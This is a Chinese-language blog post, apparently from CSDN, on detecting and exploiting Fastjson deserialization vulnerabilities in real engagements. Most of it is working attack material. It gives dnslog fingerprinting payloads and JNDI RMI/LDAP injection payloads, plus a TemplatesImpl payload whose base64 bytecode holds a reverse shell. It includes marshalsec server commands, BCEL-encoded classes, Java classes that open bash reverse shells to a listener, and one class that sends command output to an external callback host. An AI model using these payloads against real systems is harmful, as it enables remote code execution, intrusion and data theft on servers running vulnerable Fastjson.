• Fastjson在实战中的检测与利用


    检测

    参考:https://github.com/alibaba/fastjson/issues/3077

    jndi漏洞检测

    {"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}

    java.net.InetAddress这个gadget在1.2.49禁止了。如果上面这个poc可以出dnslog说明很大概率可以rce。

    后端检测

    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
    {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
    {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
    Set[{"@type":"java.net.URL","val":"dnslog"}]
    Set[{"@type":"java.net.URL","val":"dnslog"}
    {{"@type":"java.net.URL","val":"dnslog"}:0

    如果以上这些poc可以出dnslog,则可以说明后端百分百是fastjson。

    踩坑记录

    最近发现有个容易被人弄错的地方,就是fastjson的payload。网上的Payload,发现有的目标可以成功,有的目标不能成功,这是为什么?

    比如这个Payload:

    {"@type":"java.net.Inet4Address","val":"dnslog"}

    这个同学发现vulhub环境中,用反弹shell的payload来打可以成功,但换这个检测用的payload就不行。

    其实原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。

    这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"},相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。

    所以建议测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值,比如:

    1. {
    2. "xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
    3. }

    这样写通常就不会有type not match的错误了。

    报错检测

    参考:fastjson 获取精确版本号的方法 - 浅蓝 's blog

    {"xxx":"aaa"

    检测不到花括号和逗号时,即可触发报错,从而判断出后端是fastjson还是jackson,某种情况下可以直接爆出版本号。

    版本检测流程

    {"@type":"java.net.Inet4Address","val":"dnslog"}

    若有dnslog则可以判断入口点为fastjson,接下来开始版本判断。

    {"@type":"java.net.InetAddress","val":"dnslog"}

    如果有dnslog说明版本在49以下,因为这个gadget在49被禁止了。

    {

    "xxx": "\x

    如果存在dos漏洞说明版本在60以下。没有则60以上。 参考:https://blog.riskivy.com/%E6%97%A0%E6%8D%9F%E6%A3%80%E6%B5%8Bfastjson-dos%E6%BC%8F%E6%B4%9E%E4%BB%A5%E5%8F%8A%E7%9B%B2%E5%8C%BA%E5%88%86fastjson%E4%B8%8Ejackson%E7%BB%84%E4%BB%B6/

    1. {"@type":"java.net.Inet4Address","val":"dnslog"}
    2. {"@type":"java.net.Inet6Address","val":"dnslog"}

    如果有dnslog说明在68以及以下。

    69以上

    {"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","name":"/etc/passwd","append":true}

    复现

    fastjson 1.2.24以及之前版本

    dnslog

    首先看看是否存在漏洞

    Content-Type: application/json

    1.成功

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:1099","autoCommit":true}

    2.成功

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099","autoCommit":true}

    3.未成功

    {"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://ip:1389/Object", "loginTimeout":0}
    弹shell

    首先编译 poc 得到字节码

    javac Poc.class
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;
    public class Poc extends AbstractTranslet {
    public Poc() throws IOException {
    try {
    Runtime rt = Runtime.getRuntime();
    String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
    Process pc = rt.exec(commands);
    pc.waitFor();
    } catch (Exception e) {
    // do nothing
    }
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
    Poc t = new Poc();
    }
    }

    然后把 .class 文件做 base64 加密 python solve_payload.py

    1. import base64
    2. fin = open(r"Poc.class", "rb")
    3. fout = open(r"en.txt", "w")
    4. s = base64.encodestring(fin.read()).replace("\n", "")
    5. fout.write(s)
    6. fin.close()
    7. fout.close()

    修改 json 的 _bytecodes 为 刚刚生成的 base64 文本 :

    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoADAAeCgAfACAHACEIACIIACMIACQKAB8AJQoAJgAnBwAoBwApCgAKAB4HACoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAKQcAKAEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAsAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAA0ADgcALQwALgAvAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQAuYmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTk5OTkgMD4mMQwAMAAxBwAyDAAzADQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoADAAAAAAABAABAA0ADgACAA8AAAB+AAQABAAAACwqtwABuAACTAa9AANZAxIEU1kEEgVTWQUSBlNNKyy2AAdOLbYACFenAARMsQABAAQAJwAqAAkAAgAQAAAAIgAIAAAACwAEAA4ACAAPABwAEAAiABEAJwAUACoAEgArABwAEQAAABAAAv8AKgABBwASAAEHABMAABQAAAAEAAEAFQABABYAFwABAA8AAAAZAAAABAAAAAGxAAAAAQAQAAAABgABAAAAIAABABYAGAACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAJQAUAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAQAQAAAACgACAAAAKAAIACkAFAAAAAQAAQAJAAEAHAAAAAIAHQ=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
    nc -lvp 19999

    发包即可弹shell

    不过有限制:

    1. 目标网站使用fastjson库解析json
    2. 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
    3. 目标使用的jdk中存在TemplatesImpl
    jndi的限制

    为什么不jndi去打呢,因为java 8u121( Java™ SE Development Kit 8, Update 121 Release Not... )进行了更新,增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,只有设置了这个选项为True的时候才能正常使用URL进行class的加载。

    https://www.anquanke.com/post/id/182140

    基于rmi的利用方式

    适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前

    利用方式:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer http://127.0.0.1:8080/test/#Expolit
    基于ldap的利用方式

    适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前

    利用方式:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Expolit
    基于BeanFactory的利用方式

    适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后

    利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。

    利用方式:

    1. public class EvilRMIServerNew {
    2. public static void main(String[] args) throws Exception {
    3. System.out.println("Creating evil RMI registry on port 1097");
    4. Registry registry = LocateRegistry.createRegistry(1097);
    5. //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
    6. ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    7. //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
    8. ref.add(new StringRefAddr("forceString", "x=eval"));
    9. //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
    10. ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));
    11. ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    12. registry.bind("Object", referenceWrapper);
    13. }
    14. }

    Fastjson 1.2.47 远程命令执行漏洞

    dnslog
    1. {
    2. "a":{
    3. "@type":"java.lang.Class",
    4. "val":"com.sun.rowset.JdbcRowSetImpl"
    5. },
    6. "b":{
    7. "@type":"com.sun.rowset.JdbcRowSetImpl",
    8. "dataSourceName":"rmi://ip:9999/Exploit",
    9. "autoCommit":true
    10. }
    11. }
    jndi注入 rmi 弹shell

    目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

    首先编译并上传命令执行代码,如http://ip/ExportObject.class:

    1. // javac ExportObject.java
    2. import java.lang.Runtime;
    3. import java.lang.Process;
    4. public class ExportObject {
    5. static {
    6. try {
    7. Runtime rt = Runtime.getRuntime();
    8. String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
    9. Process pc = rt.exec(commands);
    10. pc.waitFor();
    11. } catch (Exception e) {
    12. // do nothing
    13. }
    14. }
    15. }

    然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类ExportObject.class:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#ExportObject" 9997

    向靶场服务器发送Payload:

    1. {
    2. "a":{
    3. "@type":"java.lang.Class",
    4. "val":"com.sun.rowset.JdbcRowSetImpl"
    5. },
    6. "b":{
    7. "@type":"com.sun.rowset.JdbcRowSetImpl",
    8. "dataSourceName":"rmi://ip:9999/Exploit",
    9. "autoCommit":true
    10. }
    11. }

    nc -lvp 19999 成功弹shell,java版本要一样或者更低才能成功,因为java兼容低版本class,而不是往上兼容,所以通常用jdk6来编译class。

    注意一些java版本要一样,在web服务器日志请求头可以看到java版本,然后用该版本编译class,再远程加载执行。

    ldap执行命令

    exp

    1. //evil2.java
    2. import java.io.BufferedReader;
    3. import java.io.IOException;
    4. import java.io.InputStream;
    5. import java.io.InputStreamReader;
    6. import java.io.OutputStream;
    7. import java.io.OutputStreamWriter;
    8. import java.io.Reader;
    9. import java.net.HttpURLConnection;
    10. import java.net.URL;
    11. import java.net.URLConnection;
    12. public class evil2 {
    13. public static void post(String uri, String data) {
    14. HttpURLConnection httpURLConnection = null;
    15. BufferedReader bufferedReader = null;
    16. try {
    17. URL url = new URL(uri);
    18. httpURLConnection = (HttpURLConnection)url.openConnection();
    19. httpURLConnection.setRequestMethod("POST");
    20. httpURLConnection.setDoOutput(true);
    21. OutputStreamWriter out = new OutputStreamWriter(httpURLConnection.getOutputStream());
    22. out.write(data);
    23. out.close();
    24. httpURLConnection.connect();
    25. InputStream inputStream = httpURLConnection.getInputStream();
    26. bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    27. String line = null;
    28. StringBuffer stringBuffer = new StringBuffer();
    29. while ((line = bufferedReader.readLine()) != null) {
    30. stringBuffer.append(line + "\n");
    31. }
    32. }
    33. catch (Exception e) {
    34. e.printStackTrace();
    35. }
    36. finally {
    37. if (httpURLConnection != null) {
    38. httpURLConnection.disconnect();
    39. }
    40. try {
    41. if (bufferedReader != null) {
    42. bufferedReader.close();
    43. }
    44. }
    45. catch (IOException e) {}
    46. }
    47. }
    48. public static String exec(String cmd) {
    49. StringBuffer res = new StringBuffer();
    50. try {
    51. Process p = Runtime.getRuntime().exec(cmd);
    52. p.waitFor();
    53. InputStream fis = p.getInputStream();
    54. InputStreamReader isr = new InputStreamReader(fis);
    55. BufferedReader br = new BufferedReader(isr);
    56. String line = "";
    57. while ((line = br.readLine()) != null) {
    58. res.append(line);
    59. }
    60. }
    61. catch (Exception e) {
    62. e.printStackTrace();
    63. }
    64. return res.toString();
    65. }
    66. static {
    67. String cmd = evil2.exec("whoami");
    68. evil2.post("http://ldap.ceu5ns.ceye.io/", cmd);
    69. // cmd = evil2.exec("ifconfig");
    70. // evil2.post("http://ldap.91030df7.n0p.co/", cmd);
    71. // cmd = evil2.exec("cat /etc/hosts");
    72. // evil2.post("http://ldap.91030df7.n0p.co/", cmd);
    73. }
    74. }

    启动ldap服务器

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil2 1099
    post
    1. {
    2. "a":{
    3. "@type":"java.lang.Class",
    4. "val":"com.sun.rowset.JdbcRowSetImpl"
    5. },
    6. "b":{
    7. "@type":"com.sun.rowset.JdbcRowSetImpl",
    8. "dataSourceName":"ldap://ip:1099/Exploit",
    9. "autoCommit":true
    10. }
    11. }

    成功执行。

    弹shell
    1. //evil.java
    2. import java.lang.Runtime;
    3. import java.lang.Process;
    4. public class evil {
    5. static {
    6. try {
    7. Runtime rt = Runtime.getRuntime();
    8. String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
    9. Process pc = rt.exec(commands);
    10. pc.waitFor();
    11. } catch (Exception e) {
    12. // do nothing
    13. }
    14. }
    15. }

    启动ldap服务器

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098

    bp发包

    1. POST /public/LOGIN/loginIn HTTP/1.1
    2. Host: xxx
    3. Content-Length: 266
    4. Accept: text/plain, */*; q=0.01
    5. X-Requested-With: XMLHttpRequest
    6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
    7. Content-Type: application/json; charset=UTF-8
    8. Accept-Encoding: gzip, deflate
    9. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    10. Cookie: SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac; SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac
    11. Connection: close
    12. {
    13. "a":{
    14. "@type":"java.lang.Class",
    15. "val":"com.sun.rowset.JdbcRowSetImpl"
    16. },
    17. "b":{
    18. "@type":"com.sun.rowset.JdbcRowSetImpl",
    19. "dataSourceName":"ldap://ip:1098/Exploit",
    20. "autoCommit":true
    21. }
    22. }

    成功弹shell。

    defineclass

    参考:https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    这个在上面提到过了,是有限制的,实战中一般gg。

    tomcat-dbcp&&commons-dbcp

    Fastjson BasicDataSource攻击链简介

    BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。

    参考 defineClass在java反序列化当中的利用 - 先知社区,发现 ClassLoader 还是挺好使。文章中给的 payload 依赖是 tomcat-dbcp,对应的构造类是 org.apache.tomcat.dbcp.dbcp.BasicDataSource 。我碰到的这个漏洞环境没有 tomcat-dbcp,只有 commons-dbcp,不过我发现也能用,利用方式和 Payload 构造方法基本一样,只是要把对应的构造类换成 org.apache.commons.dbcp.BasicDataSource 。

    1. {
    2. {
    3. @type": "com.alibaba.fastjson.JSONObject",
    4. "c": {
    5. "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
    6. "driverClassLoader": {
    7. "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    8. },
    9. "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
    10. }
    11. }:"ddd"
    12. }
    1. {
    2. "@type": "org.apache.commons.dbcp.BasicDataSource",
    3. "driverClassLoader": {
    4. "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    5. },
    6. "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
    7. }

    fastjson 1.2.68绕过rce

    参考:

    https://b1ue.cn/archives/382.html具体的gadget需要自行寻找。暂不公开。

    好用的目前就两条链,一个是mysqljdbc,需要mysqlconnect依赖在5.x。另外一个是common-io写文件,需要知道绝对路径。这两条链目前都已经公开。

  • 相关阅读:
    jwbasta-vue 平台上线
    智慧税务解决方案-最新全套文件
    Android项目更新依赖和打包步骤和问题汇总
    Android 导出arr与unity2019以上版本交互
    Remote Sensing投稿经验分享
    Sulfo CY3-DBCO蛋白质标记实验-星戈瑞
    畅玩《七雄争霸》经典战国策略游戏
    嵌入式基础知识学习:Flash、EEPROM、RAM、ROM
    npm 执行命令时报错npm ERR! code ERESOLVE npm ERR! ERESOLVE could not resolve
    机器学习笔记 十九:由浅入深的随机森林模型之分类
  • 原文地址:https://blog.csdn.net/why811/article/details/133679673